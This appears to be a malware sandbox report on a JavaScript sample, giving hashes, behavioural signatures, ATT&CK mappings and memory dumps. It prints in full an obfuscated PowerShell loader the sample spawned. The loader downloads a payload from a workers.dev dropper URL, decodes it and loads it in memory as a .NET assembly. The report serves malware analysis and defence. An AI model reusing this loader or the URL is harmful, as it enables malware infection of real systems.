7b39640545ca6bd532f9598c69ab8d681513a91580f6c277aee4de5afc21637d

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/08/2026, 14:36

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General

Target
proof.js
Size 56KB
Sample260806-ryzzaaxxdz
SHA256 7b39640545ca6bd532f9598c69ab8d681513a91580f6c277aee4de5afc21637d
MD5 551ce96e4fd2d116496397596bcb47b6
SHA1 916a7895f935fd385ef916a01e0c3d3b3fc9737b
SHA512 175e7fd130844ab3961f97c462d2756f787b7ff747b762f561155a28fd022fcbca931d06b8e885fd241685ea4a451c23281847eddc531b751a3a3d650fd534cc
SSDEEP 96:heaKe8eyezefeHCeGKe8eBeTe1eTeBezSKe8eElssg76ffF988JF7f928FNgL82Q:BGjWZhwDmp9Xkrz8QaN
TLSH
T1C0431D3700478D2AA6B0721068053F7A6E1FE11DF19067EBEBED8247BB136BD4D5B858
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://muddy-sound-e0cd.nodetectonn.workers.dev/KbXaa

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4216	2348	powershell.exe	85

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4216	powershell.exe
13	4216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4216	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4216	powershell.exe
4216	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4216	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\proof.js
1⤵
PID:2676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$quinquevalency=''https://muddy-sound-e0cd.nodetectonn.workers.dev/KbXaa''; $compossibility = [System.Net.HttpWebRequest]::Create($quinquevalency); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''tMqbGSJlitqJK/WoAjOfjykWgbOEb3i7m3sujzS3ezC1OonVY2OZq+s2CLY76gAnjBwrr6MRIqEXzBHkptZODHFEWIq7iqoeaJCokmWtGYg='','''',''wuZt4FeZa+Mu5UWBtnGHe42MRWOCmBTgmhBtoqdwlgBedxr+vrxaSgadiBeWSn9p'',''qGG3GhuhaqozeNHNeBuuKcK5Ahe1Np8RxeNgQnbzgxw='',''CYvZWCDyZaLRMcDM+3mFlwwtgjo+UaTXHbxw2x1G8aE='',''5MFm44AdH5i20CMwBl3/vKQk04uu2J+L62Uj6Ry61s0='',''4ZC+aNIHGcRZlZLa4Oy1nq5vsnXiBll9/7Civ3S8Pno='','''',''+nw7IEMoJZWGMX6PeO/83VAyksEPIB7VMjqp+lKvhFU='',''SZVq9Af9RYsUdMMykqptGJaKFdYFy07GyQ/Hg/86H73j9qC0xqhbxwVSeuXf63Nt'',''uYa43UW6eXpI45kANzadGMBaefE4irYJ/8HcrzHobRg='',''Wh6F1OqsqtCKO8FdVVj2oF+RQsTmcz6h4GvX1wmI+Kg='',''OXtYnSKeSeRDpTC9QC0i8ADwnlRMjRzTy8WQ2LP6qH4='','''',''CJE+GzqjQaNV9J/mdIufoFstgaki5dHL2OET1SUAkMc='',''H/O3bn+bttVzbiphubUgJ4EUubyNNa0YIx4D4RXqz9M='','''','''','''',''0tL6Z9wAS074Vf3Yb+6vE0cyer2F1T19cbDEaXoA/gA='',''TBPt2GqtGmZS8eFGLrG45ypy3Ocke2IgW8C1GoXhEis=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_0ncyndo3.dkd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ncyndo3.dkd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4216-0-0x0000017DB2D60000-0x0000017DB2D70000-memory.dmp

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memory/4216-1-0x0000017DB2D60000-0x0000017DB2D70000-memory.dmp

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memory/4216-2-0x0000017DB2CB0000-0x0000017DB2CD2000-memory.dmp

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memory/4216-11-0x0000017DB2D60000-0x0000017DB2D70000-memory.dmp

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memory/4216-10-0x0000017DB2D60000-0x0000017DB2D70000-memory.dmp

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memory/4216-12-0x0000017DB2D60000-0x0000017DB2D70000-memory.dmp

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